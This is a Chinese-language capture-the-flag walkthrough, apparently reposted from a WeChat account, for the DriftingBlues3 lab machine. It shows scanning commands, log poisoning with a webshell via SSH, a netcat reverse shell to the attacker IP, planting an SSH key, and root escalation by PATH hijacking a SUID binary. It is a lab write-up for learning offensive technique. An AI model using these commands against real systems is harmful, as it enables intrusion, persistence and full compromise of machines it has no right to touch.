攻击者ip:192.168.56.108 桥接(自动) vmare
受害者ip:192.168.56.125 仅主机 vxbox
主机发现
arp-scan -I eth0 -l (指定网卡扫) 扫描局域网所有设备(所有设备IP、MAC地址、制造商信息)masscan 192.168.56.0/24 -p 80,22 (masscan 扫描的网段 -p 扫描端口号)netdiscover -i eth0 -r 192.168.56.0/24 (netdiscover -i 网卡-r 网段)nmap -sn 192.168.56.0/24
端口扫描
nmap -A -sV -T4 -p- 192.168.56.125
目录扫描
gobuster dir -u “http://192.168.56.125/” -w /root/tools/directory-list-2.3-medium.txt -x php,html,txt,zip
dirb http://192.168.56.125
http://192.168.56.125/robots.txt
发现目录/eventadmins
base64解码,/adminsfixit.php
ssh的日志文件
可以看到这个文件可以获取 ssh auth log,所以可以尝试往日志文件写入一句话后门
ssh连接时写入一句马
ssh''@192.168.56.125
rce成功,反弹shell
view-source:http://192.168.56.125/adminsfixit.php?cmd=ls%20-al
反弹成功
view-source:http://192.168.56.125/adminsfixit.php?cmd=nc -e /bin/bash 192.168.56.108 1111
user.txt没权限看,.ssh文件夹是空的
查看ssh配置文件/etc/ssh/sshd_config,如下图PubkeyAuthentication选项参数值为yes,打开这个功能,表示ssh允许公钥登录,下面也给出了公钥文件的存放目录并且此时我们看到.ssh文件夹有着wrx所有的权限,好家伙,所以我们可以把公钥文件放入这个文件夹,进行登录!
此时有两个方法可以操作,一是直接在目标机生成一个公钥:ssh-keygen -t rsa将生成的私钥保存到:/home/robertj/.ssh/id_rsa 将 SSH 公钥文件重命名为 authorized_keys ,用于 SSH 登陆认证:cat id_rsa.pub > authorized_keys然后将私钥复制到本机使用ssh登录:ssh [email protected] -i id_rsa(如果无法登录可能是私钥权限太高,改为chmod 400 id_rsa即可)二是直接用我们kali的密钥进行登录将kali的公钥id_rsa.pub(位置在/root/.ssh)复制到目标机且改名为authorized_keys然后直接用在kali登录目标即可:ssh [email protected]
生成密钥
将 SSH 公钥文件重命名为 authorized_keys
然后将私钥复制到本机
使用ssh登录:ssh [email protected] -i id_rsa
在 shell 中寻找 suid 程序: find / -perm -u=s -type f 2>/dev/null
https://gtfobins.github.io可以查找提权思路
执行了 ip addr, cat /etc/hosts, uname -a
我们可以修改其中一个命令即可获得root权限
环境变量命令劫持提权
大概的原理就是 执行系统命令所以我们可以自行编写一个同名文件,比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权因此,在这种情况下,我们可以在环境变量 PATH 中提供一个目录 (/tmp),并创建一个 ip 或者 cat 文件,用于劫持命令,执行我们自定义的二进制文件就可以提权:export PATH=/tmp/:$PATH//把/tmp路径加入到系统路径中。cd /tmpecho '/bin/bash' > ip//把/bin/bash写入到ip中。chmod +x ip//增加执行权限/usr/bin/getinfo
原文始发于微信公众号(王之暴龙战神):driftingblues3
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论